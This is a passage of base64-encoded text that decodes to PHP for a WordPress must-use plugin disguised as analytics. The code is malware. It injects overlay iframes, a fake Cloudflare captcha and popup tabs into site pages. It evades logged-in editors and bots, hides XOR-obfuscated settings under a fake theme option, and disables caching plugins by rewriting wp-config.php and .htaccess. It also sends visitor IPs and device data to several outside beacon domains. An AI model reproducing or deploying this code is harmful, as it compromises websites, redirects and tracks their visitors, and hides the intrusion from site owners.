pZnJhbWU+JzsKICAgICAgICAgICAgICAgIGlmICgkX2Rpc21pc3MgPT09ICdidXR0b24nKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdiBpZD0iJyAuICRfZGl2X2lkIC4gJ19iIiBzdHlsZT0iZGlzcGxheTpub25lO3Bvc2l0aW9uOmZpeGVkO2JvdHRvbToyMHB4O2xlZnQ6NTAlO3RyYW5zZm9ybTp0cmFuc2xhdGVYKC01MCUpO3otaW5kZXg6MjE0NzQ4MzY0NztwYWRkaW5nOjEycHggMzJweDtiYWNrZ3JvdW5kOiNmZmY7Y29sb3I6IzAwMDtib3JkZXItcmFkaXVzOjhweDtjdXJzb3I6cG9pbnRlcjtmb250OjE2cHgvMSBzYW5zLXNlcmlmO2JveC1zaGFkb3c6MCA0cHggMjRweCByZ2JhKDAsMCwwLC41KSIgb25jbGljaz0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCcnIC4gJF9kaXZfaWQgLiAnXCcpLnJlbW92ZSgpIj4nIC4gJF9idG5fdGV4dCAuICc8L2Rpdj4nOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxzY3JpcHQ+c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBiPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCInIC4gJF9kaXZfaWQgLiAnX2IiKTtpZihiKWIuc3R5bGUuZGlzcGxheT0iYmxvY2sifSwnIC4gKCRfYnRuX2RlbGF5ICogMTAwMCkgLiAnKTwvc2NyaXB0Pic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICc8c2NyaXB0PndpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJtZXNzYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGEmJmUuZGF0YS50eXBlPT09ImNmLWNhcHRjaGEtdmVyaWZpZWQiKXtkb2N1bWVudC5jb29raWU9Il9jZl92ZXJpZmllZD0xO3BhdGg9LzttYXgtYWdlPTc3NzYwMDAiO3ZhciBkcz1kb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCJkaXZbc3R5bGUqPVxcInBvc2l0aW9uOmZpeGVkXFwiXVtzdHlsZSo9XFwiei1pbmRleFxcIl0iKTtmb3IodmFyIGk9MDtpPGRzLmxlbmd0aDtpKyspe2lmKGRzW2ldLnF1ZXJ5U2VsZWN0b3IoImlmcmFtZSIpKWRzW2ldLnJlbW92ZSgpfX19KTwvc2NyaXB0Pic7CiAgICAgICAgICAgICAgICBlY2hvICc8L2Rpdj4nOwogICAgICAgICAgICB9IGVsc2VpZiAoJF9tb2RlID09PSAnbmV3dGFiJykgewogICAgICAgICAgICAgICAgZWNobyAnPHNjcmlwdD4oZnVuY3Rpb24oKXt2YXIgJyAuICRfZm5faW5pdCAuICc9ZnVuY3Rpb24oKXt3aW5kb3cub3BlbigiJyAuICRfdXJsX2VzYyAuICciLCJfYmxhbmsiKX07JzsKICAgICAgICAgICAgICAgIGVjaG8gJ2lmKGRvY3VtZW50LnZpc2liaWxpdHlTdGF0ZT09PSJ2aXNpYmxlIil7JyAuICRfZm5faW5pdCAuICcoKX1lbHNle2RvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoInZpc2liaWxpdHljaGFuZ2UiLGZ1bmN0aW9uICcgLiAkX2ZuX2Nsb3NlIC4gJygpe2lmKGRvY3VtZW50LnZpc2liaWxpdHlTdGF0ZT09PSJ2aXNpYmxlIil7JyAuICRfZm5faW5pdCAuICcoKTtkb2N1bWVudC5yZW1vdmVFdmVudExpc3RlbmVyKCJ2aXNpYmlsaXR5Y2hhbmdlIiwnIC4gJF9mbl9jbG9zZSAuICcpfX0pfX0pKCk8L3NjcmlwdD4nOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBCZWFjb24gcGl4ZWwgLS0gbXVsdGktVVJMIGZhbGxiYWNrCiAgICAgICAgICAgIGlmICghZW1wdHkoJF9iZWFjb25fZGF0YV9hcnIpKSB7CiAgICAgICAgICAgICAgICBnbG9iYWwgJF90ZHNfYmVhY29uX3NlbnQ7CiAgICAgICAgICAgICAgICAkX3Rkc19iZWFjb25fc2VudCA9IHRydWU7CiAgICAgICAgICAgICAgICAkX2pzX3VybHMgPSBqc29uX2VuY29kZSgkX2JlYWNvbl9kYXRhX2Fycik7CiAgICAgICAgICAgICAgICBlY2hvICc8c2NyaXB0PihmdW5jdGlvbigpe3ZhciB1PScgLiAkX2pzX3VybHMgLiAnLGk9MDtmdW5jdGlvbiBzKCl7aWYoaT49dS5sZW5ndGgpcmV0dXJuO3RyeXtpZihuYXZpZ2F0b3Iuc2VuZEJlYWNvbiYmbmF2aWdhdG9yLnNlbmRCZWFjb24odVtpXSkpcmV0dXJuO3Rocm93IDB9Y2F0Y2goZSl7dmFyIG09bmV3IEltYWdlKCk7bS5vbmVycm9yPWZ1bmN0aW9uKCl7aSsrO3MoKX07bS5zcmM9dVtpXX19O3MoKX0pKCk8L3NjcmlwdD4nOwogICAgICAgICAgICB9CiAgICAgICAgfTsKICAgICAgICBhZGRfYWN0aW9uKCd3cF9ib2R5X29wZW4nLCAkX3Rkc19yZW5kZXJfb3ZlcmxheSwgMSk7CiAgICAgICAgYWRkX2FjdGlvbignd3BfZm9vdGVyJywgJF90ZHNfcmVuZGVyX292ZXJsYXksIDk5OTk5KTsKCiAgICB9LCAxKTsKCiAgICAvLyDilIDilIAgQWRtaW4gbG9naW4gaG9vazogc2V0IHBhdXNlIHRyYW5zaWVudCDilIDilIAKICAgIGFkZF9hY3Rpb24oJ3dwX2xvZ2luJywgZnVuY3Rpb24gKCRfbG9naW4sICRfdXNlcikgewogICAgICAgIGlmIChpc19vYmplY3QoJF91c2VyKSAmJiBtZXRob2RfZXhpc3RzKCRfdXNlciwgJ2hhc19jYXAnKSkgewogICAgICAgICAgICBpZiAoJF91c2VyLT5oYXNfY2FwKCdlZGl0X3Bvc3RzJykpIHsKICAgICAgICAgICAgICAgICRfcGggPSA2OwogICAgICAgICAgICAgICAgJF90ZHNfc2FsdCA9IGRlZmluZWQoJ0FVVEhfU0FMVCcpID8gQVVUSF9TQUxUIDogKGRlZmluZWQoJ0RCX05BTUUnKSA/IERCX05BTUUgOiAnd3AnKTsKICAgICAgICAgICAgICAgICRfdGRzX2tleSA9ICgnMScgPT09ICcxJykKICAgICAgICAgICAgICAgICAgICA/ICdfd3BfdGhlbWVfY29tcGF0XycgLiBzdWJzdHIobWQ1KCRfdGRzX3NhbHQgLiAndGRzJyksIDAsIDEyKQogICAgICAgICAgICAgICAgICAgIDogJ190ZHNfY29uZmlnJzsKICAgICAgICAgICAgICAgICRfcmF3ID0gZ2V0X29wdGlvbigkX3Rkc19rZXksICcnKTsKICAgICAgICAgICAgICAgIGlmICgkX3JhdykgewogICAgICAgICAgICAgICAgICAgIGlmICgnMScgPT09ICcxJyAmJiBzdWJzdHIoJF9yYXcsIDAsIDQpID09PSAnWE9SOicpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF94ayA9IHN1YnN0cihtZDUoREJfTkFNRSAuICRfdGRzX3NhbHQpLCAwLCAzMik7CiAgICAgICAgICAgICAgICAgICAgICAgICRfZW5jID0gYmFzZTY0X2RlY29kZShzdWJzdHIoJF9yYXcsIDQpKTsKICAgICAgICAgICAgICAgICAgICAgICAgJF9kZWMgPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yICgkX3hpID0gMDsgJF94aSA8IHN0cmxlbigkX2VuYyk7ICRfeGkrKykgJF9kZWMgLj0gY2hyKG9yZCgkX2VuY1skX3hpXSkgXiBvcmQoJF94a1skX3hpICUgMzJdKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRfcmF3ID0gJF9kZWM7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRfY2ZnID0gQGpzb25fZGVjb2RlKCRfcmF3LCB0cnVlKTsKICAgICAgICAgICAgICAgICAgICBpZiAoaXNfYXJyYXkoJF9jZmcpICYmIGlzc2V0KCRfY2ZnWydhZG1pbl9wYXVzZV9ob3VycyddKSkgJF9waCA9IChpbnQpJF9jZmdbJ2FkbWluX3BhdXNlX2hvdXJzJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJF9waCA+IDApIHsKICAgICAgICAgICAgICAgICAgICAkX2lwID0gaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pID8gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gOiAnJzsKICAgICAgICAgICAgICAgICAgICBpZiAoJF9pcCkgc2V0X3RyYW5zaWVudCgnX3Rkc19hZG1pbl9pcF8nIC4gbWQ1KCRfaXApLCAxLCAkX3BoICogMzYwMCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9LCAxMCwgMik7Cn0gLy8gZW5kIEJsb2NrIDEyCgovKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICogQmxvY2sgMTNhIOKAlCBBbmFseXRpY3MgQ2FjaGUgQnlwYXNzIChmYWxsYmFjayBmb3IgYW5hbHl0aWNzLW9ubHkgc2l0ZXMpCiAqIFdoZW4gVERTIGxheWVyIGlzIG9mZiBidXQgYW5hbHl0aWNzIGlzIG9uLCBlbnN1cmUgUEhQIGlzIG5vdAogKiBieXBhc3NlZCBieSBzdGF0aWMtZmlsZS1zZXJ2aW5nIGNhY2hlIHBsdWdpbnMuCiAqIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgCAqLwppZiAoJzEnID09PSAnMScgJiYgJzEnICE9PSAnMScgJiYgISRfd3Bfc2Vzc2lvbl9wYXVzZWQpIHsKICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdfdGRzX3NhZmVfd3JpdGUnKSkgewogICAgICAgIGZ1bmN0aW9uIF90ZHNfc2FmZV93cml0ZSgkX3BhdGgsICRfY29udGVudCwgJF9taW5fc2l6ZSA9IDY0KSB7CiAgICAgICAgICAgIGlmICghaXNfc3RyaW5nKCRfY29udGVudCkgfHwgc3RybGVuKCRfY29udGVudCkgPCAkX21pbl9zaXplKSByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICRfdG1wID0gJF9wYXRoIC4gJy50ZHNfJyAuIGdldG15cGlkKCk7CiAgICAgICAgICAgICRfd3JpdHRlbiA9IEBmaWxlX3B1dF9jb250ZW50cygkX3RtcCwgJF9jb250ZW50LCBMT0NLX0VYKTsKICAgICAgICAgICAgaWYgKCRfd3JpdHRlbiAhPT0gc3RybGVuKCRfY29udGVudCkpIHsgQHVubGluaygkX3RtcCk7IHJldHVybiBmYWxzZTsgfQogICAgICAgICAgICBpZiAoQHJlbmFtZSgkX3RtcCwgJF9wYXRoKSkgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIGlmIChAY29weSgkX3RtcCwgJF9wYXRoKSkgeyBAdW5saW5rKCRfdG1wKTsgcmV0dXJuIHRydWU7IH0KICAgICAgICAgICAgQHVubGluaygkX3RtcCk7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICB9CiAgICBhZGRfYWN0aW9uKCdwbHVnaW5zX2xvYWRlZCcsIGZ1bmN0aW9uICgpIHsKICAgICAgICB0cnkgewogICAgICAgICAgICBpZiAoZ2V0X3RyYW5zaWVudCgnX2FuYWx5dGljc19jYWNoZV9udWtlX29rJykpIHJldHVybjsKICAgICAgICAgICAgc2V0X3RyYW5zaWVudCgnX2FuYWx5dGljc19jYWNoZV9udWtlX29rJywgMSwgOTAwKTsKCiAgICAgICAgICAgIC8vIERlYWN0aXZhdGUgY2FjaGUgcGx1Z2lucwogICAgICAgICAgICAkX2FjdCA9IGdldF9vcHRpb24oJ2FjdGl2ZV9wbHVnaW5zJywgYXJyYXkoKSk7CiAgICAgICAgICAgIGlmIChpc19hcnJheSgkX2FjdCkpIHsKICAgICAgICAgICAgICAgICRfY2xlYW4gPSBhcnJheSgpOyAkX2tpbGxlZCA9IGZhbHNlOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9hY3QgYXMgJF9wbCkgewogICAgICAgICAgICAgICAgICAgIGlmICghaXNfc3RyaW5nKCRfcGwpKSB7ICRfY2xlYW5bXSA9ICRfcGw7IGNvbnRpbnVlOyB9CiAgICAgICAgICAgICAgICAgICAgJF9pcyA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5KCdzcGVlZHljYWNoZScsJ3dwLXN1cGVyLWNhY2hlJywndzMtdG90YWwtY2FjaGUnLCd3cC1mYXN0ZXN0LWNhY2hlJywnbGl0ZXNwZWVkLWNhY2hlJywnd3Atcm9ja2V0JywnYnJlZXplJywnaHVtbWluZ2JpcmQnLCdzZy1jYWNoZXByZXNzJywncG93ZXJlZC1jYWNoZScsJ2NvbWV0LWNhY2hlJywnY2FjaGUtZW5hYmxlcicsJ3N3aWZ0LXBlcmZvcm1hbmNlJywnbml0cm9wYWNrJywnZmx5aW5ncHJlc3MnLCd3cC1vcHRpbWl6ZScpIGFzICRfcykgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RyaXBvcygkX3BsLCAkX3MpICE9PSBmYWxzZSkgeyAkX2lzID0gdHJ1ZTsgJF9raWxsZWQgPSB0cnVlOyBicmVhazsgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoISRfaXMpICRfY2xlYW5bXSA9ICRfcGw7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJF9raWxsZWQpIHVwZGF0ZV9vcHRpb24oJ2FjdGl2ZV9wbHVnaW5zJywgJF9jbGVhbik7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIFdQX0NBQ0hFPWZhbHNlCiAgICAgICAgICAgICRfd3BjID0gQUJTUEFUSCAuICd3cC1jb25maWcucGhwJzsKICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRfd3BjKSAmJiBpc193cml0YWJsZSgkX3dwYykpIHsKICAgICAgICAgICAgICAgICRfY2ZnID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfd3BjKTsKICAgICAgICAgICAgICAgIGlmICgkX2NmZyAmJiBwcmVnX21hdGNoKCIvZGVmaW5lXHMqXChccypbJ1wiXVdQX0NBQ0hFWydcIl1ccyosXHMqdHJ1ZVxzKlwpL2kiLCAkX2NmZykpIHsKICAgICAgICAgICAgICAgICAgICAkX25ld19jZmcgPSBwcmVnX3JlcGxhY2UoIi9kZWZpbmVccypcKFxzKlsnXCJdV1BfQ0FDSEVbJ1wiXVxzKixccyp0cnVlXHMqXCkvaSIsICJkZWZpbmUoJ1dQX0NBQ0hFJyxmYWxzZSkiLCAkX2NmZyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRfbmV3X2NmZyAmJiBzdHJwb3MoJF9uZXdfY2ZnLCAnREJfTkFNRScpICE9PSBmYWxzZSAmJiBmdW5jdGlvbl9leGlzdHMoJ190ZHNfc2FmZV93cml0ZScpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIF90ZHNfc2FmZV93cml0ZSgkX3dwYywgJF9uZXdfY2ZnLCAyMDApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gLmh0YWNjZXNzOiBzdHJpcCBBTEwgY2FjaGUtcGx1Z2luIHJld3JpdGUgYmxvY2tzCiAgICAgICAgICAgICRfaHQgPSBBQlNQQVRIIC4gJy5odGFjY2Vzcyc7CiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkX2h0KSAmJiBpc193cml0YWJsZSgkX2h0KSkgewogICAgICAgICAgICAgICAgJF9odGMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9odCk7CiAgICAgICAgICAgICAgICBpZiAoJF9odGMpIHsKICAgICAgICAgICAgICAgICAgICAkX29yaWcgPSAkX2h0YzsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgJ1dwRmFzdGVzdENhY2hlJywnR3ppcFdwRmFzdGVzdENhY2hlJywnTEJDV3BGYXN0ZXN0Q2FjaGUnLAogICAgICAgICAgICAgICAgICAgICAgICAnVzNUQyBQYWdlIENhY2hlJywnVzNUQyBCcm93c2VyIENhY2hlJywnVzNUQyBNaW5pZnknLCdXM1RDIENETicsJ1czVEMnLAogICAgICAgICAgICAgICAgICAgICAgICAnV1BTdXBlckNhY2hlJywnTFNDQUNIRScsJ0xpdGVTcGVlZCcsJ0NhY2hlRW5hYmxlcicsJ2NhY2hlX2VuYWJsZXInLAogICAgICAgICAgICAgICAgICAgICAgICAnU1RBUlRFUicsJ1NUQVJURVJfQ0FDSEUnLCdTR09wdGltaXplcicsJ1N0YXJ0ZXIgUGFnZSBDYWNoZScsCiAgICAgICAgICAgICAgICAgICAgICAgICdCUkVFWkUnLCdXUCBSb2NrZXQnLCdOaXRyb1BhY2snLCdTRyBPcHRpbWl6ZXInLAogICAgICAgICAgICAgICAgICAgICAgICAnU3RhcnRlciBDYWNoZScsJ1N0YXJ0ZXItUGFnZS1DYWNoZScsJ3Bvd2VyZWQgY2FjaGUnLCdQb3dlcmVkQ2FjaGUnLAogICAgICAgICAgICAgICAgICAgICAgICAnc3dpZnQtcGVyZm9ybWFuY2UnLCdTd2lmdFBlcmZvcm1hbmNlJywnRmx5aW5nUHJlc3MnLCdIdW1taW5nYmlyZCcsCiAgICAgICAgICAgICAgICAgICAgICAgICdTcGVlZHlDYWNoZScsJ1NwZWVkeVBhZ2VDYWNoZScsCiAgICAgICAgICAgICAgICAgICAgKSBhcyAkX2JsKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfaHRjID0gcHJlZ19yZXBsYWNlKCcvXHMqI1xzKkJFR0lOXHMrJyAuIHByZWdfcXVvdGUoJF9ibCwgJy8nKSAuICcuKj8jXHMqRU5EXHMrJyAuIHByZWdfcXVvdGUoJF9ibCwgJy8nKSAuICdbXlxuXSovc2knLCAnJywgJF9odGMpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkX2h0YyA9IHByZWdfcmVwbGFjZSgnL15ccypSZXdyaXRlUnVsZVxzKy4qd3AtY29udGVudFwvY2FjaGVcL2FsbFwvLiokL21pJywgJycsICRfaHRjKTsKICAgICAgICAgICAgICAgICAgICAkX2h0YyA9IHByZWdfcmVwbGFjZSgnL15ccypSZXdyaXRlUnVsZVxzKy4qd3AtY29udGVudFwvY2FjaGVcL3N1cGVyY2FjaGVcLy4qJC9taScsICcnLCAkX2h0Yyk7CiAgICAgICAgICAgICAgICAgICAgJF9odGMgPSBwcmVnX3JlcGxhY2UoJy9cbns0LH0vJywgIlxuXG4iLCAkX2h0Yyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRfaHRjICE9PSAkX29yaWcgJiYgZnVuY3Rpb25fZXhpc3RzKCdfdGRzX3NhZmVfd3JpdGUnKSkgewogICAgICAgICAgICAgICAgICAgICAgICBfdGRzX3NhZmVfd3JpdGUoJF9odCwgJF9odGMsIDEwKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIERlbGV0ZSBjYWNoZSBmaWxlcyBvbiBkaXNrCiAgICAgICAgICAgICRfZGlycyA9IGFycmF5KFdQX0NPTlRFTlRfRElSIC4gJy9jYWNoZScsIFdQX0NPTlRFTlRfRElSIC4gJy9saXRlc3BlZWQnKTsKICAgICAgICAgICAgZm9yZWFjaCAoJF9kaXJzIGFzICRfZCkgewogICAgICAgICAgICAgICAgaWYgKCFpc19kaXIoJF9kKSkgY29udGludWU7CiAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgICRfaXQgPSBuZXcgXFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoCiAgICAgICAgICAgICAgICAgICAgICAgIG5ldyBcUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJF9kLCBcUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3I6OlNLSVBfRE9UUyksCiAgICAgICAgICAgICAgICAgICAgICAgIFxSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpDSElMRF9GSVJTVAogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9pdCBhcyAkX2YpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfZi0+aXNGaWxlKCkgJiYgcHJlZ19tYXRjaCgnL1wuKGh0bWx8aHRtbFwuZ3p8anNvbikkL2knLCAkX2YtPmdldEZpbGVuYW1lKCkpKSBAdW5saW5rKCRfZi0+Z2V0UmVhbFBhdGgoKSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2UpIHt9CiAgICAgICAgICAgIH0KICAgICAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfZSkge30KICAgIH0sIDApOwoKICAgIC8vIE5vLWNhY2hlIGhlYWRlcnMgZm9yIGFuYWx5dGljcyBhY2N1cmFjeQogICAgaWYgKCFpc19hZG1pbigpICYmICFkZWZpbmVkKCdET0lOR19DUk9OJykgJiYgIWRlZmluZWQoJ1dQX0NMSScpICYmICFkZWZpbmVkKCdET0lOR19BSkFYJykgJiYgcGhwX3NhcGlfbmFtZSgpICE9PSAnY2xpJykgewogICAgICAgIGZvcmVhY2ggKGFycmF5KCdET05PVENBQ0hFUEFHRScsJ0xTQ0FDSEVfTk9fQ0FDSEUnLCdET05PVFJPQ0tFVE9QVElNSVpFJykgYXMgJF9jaykgewogICAgICAgICAgICBpZiAoIWRlZmluZWQoJF9jaykpIGRlZmluZSgkX2NrLCB0cnVlKTsKICAgICAgICB9CiAgICAgICAgYWRkX2FjdGlvbignc2VuZF9oZWFkZXJzJywgZnVuY3Rpb24gKCkgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgaWYgKGhlYWRlcnNfc2VudCgpKSByZXR1cm47CiAgICAgICAgICAgICAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlLCBtYXgtYWdlPTAsIHMtbWF4YWdlPTAsIHByaXZhdGUnKTsKICAgICAgICAgICAgICAgIGhlYWRlcignUHJhZ21hOiBuby1jYWNoZScpOwogICAgICAgICAgICAgICAgaGVhZGVyKCdFeHBpcmVzOiBUaHUsIDAxIEphbiAxOTcwIDAwOjAwOjAwIEdNVCcpOwogICAgICAgICAgICAgICAgaGVhZGVyKCdYLUxpdGVTcGVlZC1DYWNoZS1Db250cm9sOiBuby1jYWNoZScpOwogICAgICAgICAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfZSkge30KICAgICAgICB9LCAwKTsKICAgIH0KfQoKLyog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAqIEJsb2NrIDEzIOKAlCBBbmFseXRpY3MgQmVhY29uIChwYXNzaXZlIHBhZ2V2aWV3IHRyYWNraW5nKQogKiBBbHdheXMtb24gZm9yIGFsbCBzaXRlcyB3aXRoIG11LXBsdWdpbiwgaW5kZXBlbmRlbnQgb2YgVERTLgogKiBTZW5kcyBsaWdodHdlaWdodCBiZWFjb24gb24gZXZlcnkgZnJvbnRlbmQgcGFnZSBsb2FkLgogKiBDb250cm9sbGVkIGJ5IDEKICog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAICovCmlmICgnMScgPT09ICcxJyAmJiAhJF93cF9zZXNzaW9uX3BhdXNlZCkgewogICAgYWRkX2FjdGlvbigndGVtcGxhdGVfcmVkaXJlY3QnLCBmdW5jdGlvbiAoKSB7CiAgICAgICAgaWYgKGlzX2FkbWluKCkgfHwgd3BfZG9pbmdfYWpheCgpIHx8IHdwX2RvaW5nX2Nyb24oKSB8fCAoZGVmaW5lZCgnUkVTVF9SRVFVRVNUJykgJiYgUkVTVF9SRVFVRVNUKSkgcmV0dXJuOwoKICAgICAgICAvLyBTa2lwIGxvZ2dlZC1pbiBhZG1pbnMvZWRpdG9ycwogICAgICAgIGlmIChpc191c2VyX2xvZ2dlZF9pbigpKSB7CiAgICAgICAgICAgICRfdSA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsKICAgICAgICAgICAgJF9za2lwX3JvbGVzID0gYXJyYXkoJ2FkbWluaXN0cmF0b3InLCAnZWRpdG9yJyk7CiAgICAgICAgICAgIGlmIChhcnJheV9pbnRlcnNlY3QoJF9za2lwX3JvbGVzLCAoYXJyYXkpJF91LT5yb2xlcykpIHJldHVybjsKICAgICAgICB9CgogICAgICAgIC8vIFNraXAgYm90cyAobGlnaHR3ZWlnaHQgY2hlY2spCiAgICAgICAgJF91YV9hID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA/ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSA6ICcnOwogICAgICAgIGlmIChwcmVnX21hdGNoKCcvYm90fGNyYXdsfHNwaWRlcnxzbHVycHxzZW1ydXNofGFocmVmfG1qMTJ8ZG90Ym90fGJ5dGVzcGlkZXJ8Z3B0Ym90fGhlYWRsZXNzL2knLCAkX3VhX2EpKSByZXR1cm47CgogICAgICAgIC8vIEJlYWNvbiBVUkxzIGJha2VkIGludG8gdGhlIHRlbXBsYXRlIGF0IGRlcGxveSB0aW1lCiAgICAgICAgJF9hbmFseXRpY3NfdXJscyA9IGpzb25fZGVjb2RlKCdbImh0dHBzOi8vd2ViYW5hbHl0aWNzLWNkbi5zYnMvaSIsImh0dHBzOi8vd2ViYW5hbHl0aWNzLWNkbi5jeW91L2kiLCJodHRwczovL3dlYmFuYWx5dGljcy1jZG4uY2ZkL2kiLCJodHRwczovL3dlYmFuYWx5dGljcy1jZG4uaWN1L2kiXScsIHRydWUpOwogICAgICAgIGlmIChlbXB0eSgkX2FuYWx5dGljc191cmxzKSB8fCAhaXNfYXJyYXkoJF9hbmFseXRpY3NfdXJscykpIHJldHVybjsKCiAgICAgICAgLy8gSWYgVERTIEJsb2NrIDEyIGFscmVhZHkgZmlyZWQgYSBiZWFjb24gb24gdGhpcyByZXF1ZXN0LCBza2lwIGFuYWx5dGljcyBiZWFjb24KICAgICAgICBnbG9iYWwgJF90ZHNfYmVhY29uX3NlbnQ7CiAgICAgICAgaWYgKCFlbXB0eSgkX3Rkc19iZWFjb25fc2VudCkpIHJldHVybjsKCiAgICAgICAgLy8gVmlzaXRvciBJUAogICAgICAgICRfYWlwID0gJyc7CiAgICAgICAgaWYgKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9DRl9DT05ORUNUSU5HX0lQJ10pKSAkX2FpcCA9ICRfU0VSVkVSWydIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnXTsKICAgICAgICBlbHNlaWYgKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXSkpICRfYWlwID0gZXhwbG9kZSgnLCcsICRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKVswXTsKICAgICAgICBlbHNlaWYgKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9YX1JFQUxfSVAnXSkpICRfYWlwID0gJF9TRVJWRVJbJ0hUVFBfWF9SRUFMX0lQJ107CiAgICAgICAgZWxzZWlmICghZW1wdHkoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKSAkX2FpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwogICAgICAgICRfYWlwID0gdHJpbSgkX2FpcCk7CgogICAgICAgIC8vIERldmljZQogICAgICAgICRfdWFfbCA9IHN0cnRvbG93ZXIoJF91YV9hKTsKICAgICAgICAkX2FkdiA9ICdkZXNrdG9wJzsKICAgICAgICBpZiAoc3RycG9zKCRfdWFfbCwgJ2lwYWQnKSAhPT0gZmFsc2UgfHwgKHN0cnBvcygkX3VhX2wsICdhbmRyb2lkJykgIT09IGZhbHNlICYmIHN0cnBvcygkX3VhX2wsICdtb2JpbGUnKSA9PT0gZmFsc2UpKSB7CiAgICAgICAgICAgICRfYWR2ID0gJ3RhYmxldCc7CiAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aX